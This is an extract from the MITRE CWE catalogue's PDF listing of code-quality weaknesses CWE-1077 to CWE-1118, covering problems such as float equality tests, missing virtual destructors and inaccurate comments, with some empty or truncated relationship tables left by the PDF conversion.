The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. CWE-1077: Floating Point Comparison with Incorrect Operator

Weakness ID : 1077

Status: Incomplete

Structure : Simple

Abstraction : Variant

Description

The code performs a comparison such as an equality test between two float (floating point) values, but it uses comparison operators that do not account for the possibility of loss of precision.

Extended Description

Numeric calculation using floating point values can generate imprecise results because of rounding errors. As a result, two different calculations might generate numbers that are mathematically equal, but have slightly different bit representations that do not translate to the same mathematically-equal values. As a result, an equality test or other comparison might produce unexpected results.

This issue can prevent the software from running reliably. If the relevant code is reachable by an attacker, then this reliability problem might introduce a vulnerability.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

CWE-1078: Inappropriate Source Code Style or Formatting

Weakness ID : 1078

Status: Incomplete

Structure : Simple

Abstraction : Class

Description

The source code does not follow desired style or formatting for indentation, white space, comments, etc.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

| Nature | Type | ID | Name | Page |
|----------|---|------|---|------|
| ChildOf |  | 1076 | Insufficient Adherence to Expected Conventions | 1730 |
| ParentOf |  | 546 | Suspicious Comment | 1150 |
| ParentOf |  | 547 | Use of Hard-coded, Security-relevant Constants | 1152 |
| ParentOf |  | 1085 | Invokable Control Element with Excessive Volume of Commented-out Code | 1738 |
| ParentOf |  | 1099 | Inconsistent Naming Conventions for Identifiers | 1752 |

| Nature | Type | ID | Name | Page |
|----------|---|------|---|------|
| ParentOf |  | 1106 | Insufficient Use of Symbolic Constants | 1758 |
| ParentOf |  | 1107 | Insufficient Isolation of Symbolic Constant Definitions | 1759 |
| ParentOf |  | 1109 | Use of Same Variable for Multiple Purposes | 1760 |
| ParentOf |  | 1113 | Inappropriate Comment Style | 1763 |
| ParentOf |  | 1114 | Inappropriate Whitespace Style | 1764 |
| ParentOf |  | 1115 | Source Code Element without Standard Prologue | 1764 |
| ParentOf |  | 1116 | Inaccurate Comments | 1765 |
| ParentOf |  | 1117 | Callable with Insufficient Behavioral Summary | 1766 |

Weakness Ordinalities

Indirect :

CWE-1079: Parent Class without Virtual Destructor Method

Weakness ID : 1079

Status: Incomplete

Structure : Simple

Abstraction : Base

Description

A parent class contains one or more child classes, but the parent class does not have a virtual destructor method.

Extended Description

This issue can prevent the software from running reliably due to undefined or unexpected behaviors. If the relevant code is reachable by an attacker, then this reliability problem might introduce a vulnerability.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

| Nature | Type | ID | Name | Page |
|---------|---|------|--|------|
| ChildOf |  | 1076 | Insufficient Adherence to Expected Conventions | 1730 |

Relevant to the view "Software Development" (CWE-699)

| Nature | Type | ID | Name | Page |
|----------|---|------|----------------------|------|
| MemberOf |  | 1006 | Bad Coding Practices | 2138 |

Weakness Ordinalities

Indirect :

Common Consequences

| Scope | Impact | Likelihood |
|-------|--------------------|------------|
| Other | Reduce Reliability | |

MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

| Nature | Type | ID | Name | V | Page |

CWE-1080: Source Code File with Excessive Number of Lines of Code

Weakness ID : 1080

Status: Incomplete

Structure : Simple

Abstraction : Base

Description

A source code file has too many lines of code.

Extended Description

This issue makes it more difficult to understand and/or maintain the software, which indirectly affects security by making it more difficult or time-consuming to find and/or fix vulnerabilities. It also might make it easier to introduce vulnerabilities.

While the interpretation of "too many lines of code" may vary for each product or developer, CISQ recommends a default threshold value of 1000.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

| Nature | Type | ID | Name | Page |
|---------|---|------|---------------------------|------|
| ChildOf |  | 1120 | Excessive Code Complexity | 1768 |

Relevant to the view "Software Development" (CWE-699)

CWE-1082: Class Instance Self Destruction Control Element

| | |
|---------------------------|---------------------------|
| Weakness ID : 1082 | Status: Incomplete |
| Structure : Simple | |
| Abstraction : Base | |

Description

The code contains a class instance that calls the method or function to delete or destroy itself.

Extended Description

For example, in C++, "delete this" will cause the object to delete itself.

This issue can prevent the software from running reliably. If the relevant code is reachable by an attacker, then this reliability problem might introduce a vulnerability.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

| Nature | Type | ID | Name | Page |
|---------|---|------|--|------|

CWE-1083: Data Access from Outside Expected Data Manager Component

Weakness ID : 1083

Status: Incomplete

Structure : Simple

Abstraction : Base

Description

The software is intended to manage data access through a particular data manager component such as a relational or non-SQL database, but it contains code that performs data access operations without using that component.

Extended Description

When the software has a data access component, the design may be intended to handle all data access operations through that component. If a data access operation is performed outside of that component, then this may indicate a violation of the intended design.

This issue can prevent the software from running reliably. If the relevant code is reachable by an attacker, then this reliability problem might introduce a vulnerability.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

| Nature | Type | ID | Name | Page |
|---------|---|------|----------------------------|------|

CWE-1084: Invokable Control Element with Excessive File or Data Access Operations

| | |
|---------------------------|----------------------------|
| Weakness ID : 1084 | Status : Incomplete |
| Structure : Simple | |
| Abstraction : Base | |

Description

A function or method contains too many operations that utilize a data manager or file resource.

Extended Description

This issue makes it more difficult to maintain the software, which indirectly affects security by making it more difficult or time-consuming to find and/or fix vulnerabilities. It also might make it easier to introduce vulnerabilities.

While the interpretation of "too many operations" may vary for each product or developer, CISQ recommends a default maximum of 7 operations for the same data manager or file.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

| Nature | Type | ID | Name | Page |

CWE-1085: Invokable Control Element with Excessive Volume of Commented-out Code

| | |
|---------------------------|---------------------------|
| Weakness ID : 1085 | Status: Incomplete |
| Structure : Simple | |
| Abstraction : Base | |

Description

A function, method, procedure, etc. contains an excessive amount of code that has been commented out within its body.

Extended Description

This issue makes it more difficult to maintain the software, which indirectly affects security by making it more difficult or time-consuming to find and/or fix vulnerabilities. It also might make it easier to introduce vulnerabilities.

While the interpretation of "excessive volume" may vary for each product or developer, CISQ recommends a default threshold of 2% of commented code.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

CWE-1086: Class with Excessive Number of Child Classes

| | |
|---------------------------|----------------------------|
| Weakness ID : 1086 | Status : Incomplete |
| Structure : Simple | |
| Abstraction : Base | |

Description

A class contains an unnecessarily large number of children.

Extended Description

This issue makes it more difficult to understand and maintain the software, which indirectly affects security by making it more difficult or time-consuming to find and/or fix vulnerabilities. It also might make it easier to introduce vulnerabilities.

While the interpretation of "large number of children" may vary for each product or developer, CISQ recommends a default maximum of 10 child classes.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

CWE-1087: Class with Virtual Method without a Virtual Destructor

| | |
|---------------------------|---------------------------|
| Weakness ID : 1087 | Status: Incomplete |
| Structure : Simple | |
| Abstraction : Base | |

Description

A class contains a virtual method, but the method does not have an associated virtual destructor.

Extended Description

This issue can prevent the software from running reliably, e.g. due to undefined behavior. If the relevant code is reachable by an attacker, then this reliability problem might introduce a vulnerability.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

CWE-1088: Synchronous Access of Remote Resource without Timeout

| | |
|---------------------------|---------------------------|
| Weakness ID : 1088 | Status: Incomplete |
| Structure : Simple | |
| Abstraction : Base | |

Description

The code has a synchronous call to a remote resource, but there is no timeout for the call, or the timeout is set to infinite.

Extended Description

This issue can prevent the software from running reliably, since an outage for the remote resource can cause the software to hang. If the relevant code is reachable by an attacker, then this reliability problem might introduce a vulnerability.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

CWE-1089: Large Data Table with Excessive Number of Indices

| | |
|---------------------------|---------------------------|
| Weakness ID : 1089 | Status: Incomplete |
| Structure : Simple | |
| Abstraction : Base | |

Description

The software uses a large data table that contains an excessively large number of indices.

Extended Description

This issue can make the software perform more slowly. If the relevant code is reachable by an attacker, then this performance problem might introduce a vulnerability.

While the interpretation of "large data table" and "excessively large number of indices" may vary for each product or developer, CISQ recommends a default threshold of 1000000 rows for a "large" table and a default threshold of 3 indices.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

CWE-1090: Method Containing Access of a Member Element from Another Class

| | |
|---------------------------|---------------------------|
| Weakness ID : 1090 | Status: Incomplete |
| Structure : Simple | |
| Abstraction : Base | |

Description

A method for a class performs an operation that directly accesses a member element from another class.

Extended Description

This issue suggests poor encapsulation and makes it more difficult to understand and maintain the software, which indirectly affects security by making it more difficult or time-consuming to find and/or fix vulnerabilities. It also might make it easier to introduce vulnerabilities.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

CWE-1091: Use of Object without Invoking Destructor Method

Weakness ID : 1091

Status: Incomplete

Structure : Simple

Abstraction : Base

Description

The software contains a method that accesses an object but does not later invoke the element's associated finalize/destructor method.

Extended Description

This issue can make the software perform more slowly by retaining memory and/or other resources longer than necessary. If the relevant code is reachable by an attacker, then this performance problem might introduce a vulnerability.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

| Nature | Type | ID | Name | Page |
|---------|---|------|--|------|
| ChildOf |  | 1076 | Insufficient Adherence to Expected Conventions | 1730 |
| ChildOf |  | 772 | Missing Release of Resource after Effective Lifetime | 1473 |

CWE-1092: Use of Same Invokable Control Element in Multiple Architectural Layers

| | |
|---------------------------|---------------------------|
| Weakness ID : 1092 | Status: Incomplete |
| Structure : Simple | |
| Abstraction : Base | |

Description

The software uses the same control element across multiple architectural layers.

Extended Description

This issue makes it more difficult to understand and maintain the software, which indirectly affects security by making it more difficult or time-consuming to find and/or fix vulnerabilities. It also might make it easier to introduce vulnerabilities.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to

similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

| Nature | Type | ID | Name | Page |

CWE-1093: Excessively Complex Data Representation

Weakness ID : 1093

Status: Incomplete

Structure : Simple

Abstraction : Class

Description

The software uses an unnecessarily complex internal representation for its data structures or interrelationships between those structures.

Extended Description

This issue makes it more difficult to understand or maintain the software, which indirectly affects security by making it more difficult or time-consuming to find and/or fix vulnerabilities. It also might make it easier to introduce vulnerabilities.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to

similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

| Nature | Type | ID | Name | Page |
|----------|------|------|--|------|
| ChildOf | P | 710 | Improper Adherence to Coding Standards | 1405 |
| ParentOf | B | 1043 | Data Element Aggregating an Excessively Large Number of Non-Primitive Elements | 1697 |
| ParentOf | B | 1055 | Multiple Inheritance from Concrete Classes | 1710 |
| ParentOf | B | 1074 | Class with Excessively Deep Inheritance | 1728 |
| ParentOf | B | 1086 | Class with Excessive Number of Child Classes | 1739 |

Weakness Ordinalities

Indirect :

Common Consequences

| Scope | Impact | Likelihood |
|-------|------------------------|------------|
| Other | Reduce Maintainability | |
| Other | Reduce Performance | |

CWE-1094: Excessive Index Range Scan for a Data Resource

Weakness ID : 1094

Status: Incomplete

Structure : Simple

Abstraction : Base

Description

The software contains an index range scan for a large data table, but the scan can cover a large number of rows.

Extended Description

This issue can make the software perform more slowly. If the relevant code is reachable by an attacker, then this performance problem might introduce a vulnerability.

While the interpretation of "large data table" and "excessive index range" may vary for each product or developer, CISQ recommends a threshold of 1000000 table rows and a threshold of 10 for the index range.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

CWE-1095: Loop Condition Value Update within the Loop

| | |
|---------------------------|----------------------------|
| Weakness ID : 1095 | Status : Incomplete |
| Structure : Simple | |
| Abstraction : Base | |

Description

The software uses a loop with a control flow condition based on a value that is updated within the body of the loop.

Extended Description

This issue makes it more difficult to understand and/or maintain the software, which indirectly affects security by making it more difficult or time-consuming to find and/or fix vulnerabilities. It also might make it easier to introduce vulnerabilities.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

CWE-1096: Singleton Class Instance Creation without Proper Locking or Synchronization

| | |
|------------------------------|---------------------------|
| Weakness ID : 1096 | Status: Incomplete |
| Structure : Simple | |
| Abstraction : Variant | |

Description

The software implements a Singleton design pattern but does not use appropriate locking or other synchronization mechanism to ensure that the singleton class is only instantiated once.

Extended Description

This issue can prevent the software from running reliably, e.g. by making the instantiation process non-thread-safe and introducing deadlock (CWE-833) or livelock conditions. If the relevant code is reachable by an attacker, then this reliability problem might introduce a vulnerability.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

CWE-1097: Persistent Storable Data Element without Associated Comparison Control Element

| | |
|---------------------------|---------------------------|
| Weakness ID : 1097 | Status: Incomplete |
| Structure : Simple | |
| Abstraction : Base | |

Description

The software uses a storable data element that does not have all of the associated functions or methods that are necessary to support comparison.

Extended Description

For example, with Java, a class that is made persistent requires both hashCode() and equals() methods to be defined.

This issue can prevent the software from running reliably, due to incorrect or unexpected comparison results. If the relevant code is reachable by an attacker, then this reliability problem might introduce a vulnerability.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

CWE-1098: Data Element containing Pointer Item without Proper Copy Control Element

| | |
|------------------------------|---------------------------|
| Weakness ID : 1098 | Status: Incomplete |
| Structure : Simple | |
| Abstraction : Variant | |

Description

The code contains a data element with a pointer that does not have an associated copy or constructor method.

Extended Description

This issue can prevent the software from running reliably. If the relevant code is reachable by an attacker, then this reliability problem might introduce a vulnerability.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to

similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

CWE-1099: Inconsistent Naming Conventions for Identifiers

| | |
|---------------------------|----------------------------|
| Weakness ID : 1099 | Status : Incomplete |
| Structure : Simple | |
| Abstraction : Base | |

Description

The product's code, documentation, or other artifacts do not consistently use the same naming conventions for variables, callables, groups of related callables, I/O capabilities, data types, file names, or similar types of elements.

Extended Description

This issue makes it more difficult to understand and/or maintain the software due to inconsistencies, which indirectly affects security by making it more difficult or time-consuming to find and/or fix vulnerabilities. It also might make it easier to introduce vulnerabilities.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

CWE-1100: Insufficient Isolation of System-Dependent Functions

Weakness ID : 1100

Status: Incomplete

Structure : Simple

Abstraction : Base

Description

The product or code does not isolate system-dependent functionality into separate standalone modules.

Extended Description

This issue makes it more difficult to maintain and/or port the software, which indirectly affects security by making it more difficult or time-consuming to find and/or fix vulnerabilities. It also might make it easier to introduce vulnerabilities.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. CWE-1101: Reliance on Runtime Component in Generated Code

Weakness ID : 1101**Status:** Incomplete**Structure :** Simple**Abstraction :** Base

Description

The product uses automatically-generated code that cannot be executed without a specific runtime support component.

Extended Description

This issue makes it more difficult to maintain the software, which indirectly affects security by making it more difficult or time-consuming to find and/or fix vulnerabilities. It also might make it easier to introduce vulnerabilities.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. CWE-1102: Reliance on Machine-Dependent Data Representation

Weakness ID : 1102**Status:** Incomplete**Structure :** Simple**Abstraction :** Base

Description

The code uses a data representation that relies on low-level data representation or constructs that may vary across different processors, physical machines, OSes, or other physical components.

Extended Description

This issue makes it more difficult to maintain and/or port the software, which indirectly affects security by making it more difficult or time-consuming to find and/or fix vulnerabilities. It also might make it easier to introduce vulnerabilities.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. CWE-1103: Use of Platform-Dependent Third Party Components

Weakness ID : 1103**Status:** Incomplete**Structure :** Simple**Abstraction :** Base

Description

The product relies on third-party software components that do not provide equivalent functionality across all desirable platforms.

Extended Description

This issue makes it more difficult to maintain the software, which indirectly affects security by making it more difficult or time-consuming to find and/or fix vulnerabilities. It also might make it easier to introduce vulnerabilities.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. CWE-1104: Use of Unmaintained Third Party Components

Weakness ID : 1104

Status: Incomplete

Structure : Simple

Abstraction : Base

Description

The product relies on third-party components that are not actively supported or maintained by the original developer or a trusted proxy for the original developer.

Extended Description

Reliance on components that are no longer maintained can make it difficult or impossible to fix significant bugs, vulnerabilities, or quality issues. In effect, unmaintained code can become obsolete.

This issue makes it more difficult to maintain the software, which indirectly affects security by making it more difficult or time-consuming to find and/or fix vulnerabilities. It also might make it easier to introduce vulnerabilities.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to

similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Status: Incomplete

Structure : Simple

Abstraction : Base

Description

The product or code uses machine-dependent functionality, but it does not sufficiently encapsulate or isolate this functionality from the rest of the code.

Extended Description

This issue makes it more difficult to port or maintain the software, which indirectly affects security by making it more difficult or time-consuming to find and/or fix vulnerabilities. It also might make it easier to introduce vulnerabilities.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

| Nature | Type | ID | Name | Page |
|----------|---|------|--|------|
| ChildOf |  | 1061 | Insufficient Encapsulation | 1716 |
| ChildOf |  | 758 | Reliance on Undefined, Unspecified, or Implementation-Defined Behavior | 1433 |
| ParentOf |  | 188 | Reliance on Data/Memory Layout | 441 |

CWE-1106: Insufficient Use of Symbolic Constants

| | |
|---------------------------|---------------------------|
| Weakness ID : 1106 | Status: Incomplete |
| Structure : Simple | |
| Abstraction : Base | |

Description

The source code uses literal constants that may need to change or evolve over time, instead of using symbolic constants.

Extended Description

This issue makes it more difficult to maintain the software, which indirectly affects security by making it more difficult or time-consuming to find and/or fix vulnerabilities. It also might make it easier to introduce vulnerabilities.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

CWE-1107: Insufficient Isolation of Symbolic Constant Definitions

| | |
|---------------------------|----------------------------|
| Weakness ID : 1107 | Status : Incomplete |
| Structure : Simple | |
| Abstraction : Base | |

Description

The source code uses symbolic constants, but it does not sufficiently place the definitions of these constants into a more centralized or isolated location.

Extended Description

This issue makes it more difficult to maintain the software, which indirectly affects security by making it more difficult or time-consuming to find and/or fix vulnerabilities. It also might make it easier to introduce vulnerabilities.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

CWE-1108: Excessive Reliance on Global Variables

Weakness ID : 1108**Status:** Incomplete**Structure :** Simple**Abstraction :** Base

Description

The code is structured in a way that relies too much on using or setting global variables throughout various points in the code, instead of preserving the associated information in a narrower, more local context.

Extended Description

This issue makes it more difficult to maintain the software, which indirectly affects security by making it more difficult or time-consuming to find and/or fix vulnerabilities. It also might make it easier to introduce vulnerabilities.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

CWE-1109: Use of Same Variable for Multiple Purposes

Weakness ID : 1109**Status:** Incomplete**Structure :** Simple**Abstraction :** Base

Description

The code contains a callable, block, or other code element in which the same variable is used to control more than one unique task or store more than one instance of data.

Extended Description

Use of the same variable for multiple purposes can make it more difficult for a person to read or understand the code, potentially hiding other quality issues.

This issue makes it more difficult to maintain the software, which indirectly affects security by making it more difficult or time-consuming to find and/or fix vulnerabilities. It also might make it easier to introduce vulnerabilities.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

CWE-1110: Incomplete Design Documentation

| | |
|---------------------------|---------------------------|
| Weakness ID : 1110 | Status: Incomplete |
| Structure : Simple | |
| Abstraction : Base | |

Description

The product's design documentation does not adequately describe control flow, data flow, system initialization, relationships between tasks, components, rationales, or other important aspects of the design.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

CWE-1112: Incomplete Documentation of Program Execution**Weakness ID :** 1112**Status:** Incomplete**Structure :** Simple**Abstraction :** Base**Description**

The document does not fully define all mechanisms that are used to control or influence how product-specific programs are executed.

Extended Description

This includes environmental variables, configuration files, registry keys, command-line switches or options, or system settings.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

CWE-1113: Inappropriate Comment Style

| | |
|---------------------------|----------------------------|
| Weakness ID : 1113 | Status : Incomplete |
| Structure : Simple | |
| Abstraction : Base | |

Description

The source code uses comment styles or formats that are inconsistent or do not follow expected standards for the product.

Extended Description

This issue makes it more difficult to maintain the software due to insufficient legibility, which indirectly affects security by making it more difficult or time-consuming to find and/or fix vulnerabilities. It also might make it easier to introduce vulnerabilities.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

CWE-1114: Inappropriate Whitespace Style**Weakness ID :** 1114**Status:** Incomplete**Structure :** Simple**Abstraction :** Base**Description**

The source code contains whitespace that is inconsistent across the code or does not follow expected standards for the product.

Extended Description

This issue makes it more difficult to understand and maintain the software, which indirectly affects security by making it more difficult or time-consuming to find and/or fix vulnerabilities. It also might make it easier to introduce vulnerabilities.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. CWE-1115: Source Code Element without Standard Prologue**Weakness ID :** 1115**Status:** Incomplete**Structure :** Simple

1764

Abstraction : Base**Description**

The source code contains elements such as source files that do not consistently provide a prologue or header that has been standardized for the project.

Extended Description

The lack of a prologue can make it more difficult to accurately and quickly understand the associated code. Standard prologues or headers may contain information such as module name, version number, author, date, purpose, function, assumptions, limitations, accuracy considerations, etc.

This issue makes it more difficult to maintain the software due to insufficient analyzability, which indirectly affects security by making it more difficult or time-consuming to find and/or fix vulnerabilities. It also might make it easier to introduce vulnerabilities.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

CWE-1116: Inaccurate Comments

| | |
|---------------------------|---------------------------|
| Weakness ID : 1116 | Status: Incomplete |
| Structure : Simple | |
| Abstraction : Base | |

Description

The source code contains comments that do not accurately describe or explain aspects of the portion of the code with which the comment is associated.

Extended Description

When a comment does not accurately reflect the associated code elements, this can introduce confusion to a reviewer (due to inconsistencies) or make it more difficult and less efficient to validate that the code is implementing the intended behavior correctly.

This issue makes it more difficult to maintain the software, which indirectly affects security by making it more difficult or time-consuming to find and/or fix vulnerabilities. It also might make it easier to introduce vulnerabilities.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

CWE-1117: Callable with Insufficient Behavioral Summary

Weakness ID : 1117

Status: Incomplete

Structure : Simple

Abstraction : Base

Description

The code contains a function or method whose signature and/or associated inline documentation does not sufficiently describe the callable's inputs, outputs, side effects, assumptions, or return codes.

Extended Description

This issue makes it more difficult to maintain the software, which indirectly affects security by making it more difficult or time-consuming to find and/or fix vulnerabilities. It also might make it easier to introduce vulnerabilities.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

CWE-1118: Insufficient Documentation of Error Handling Techniques

| | |
|---------------------------|----------------------------|
| Weakness ID : 1118 | Status : Incomplete |
| Structure : Simple | |
| Abstraction : Base | |

Description

The documentation does not sufficiently describe the techniques that are used for error handling, exception processing, or similar mechanisms.

Extended Description

Documentation may need to cover error handling techniques at multiple layers, such as module, executable, compilable code unit, or callable.

Relationships

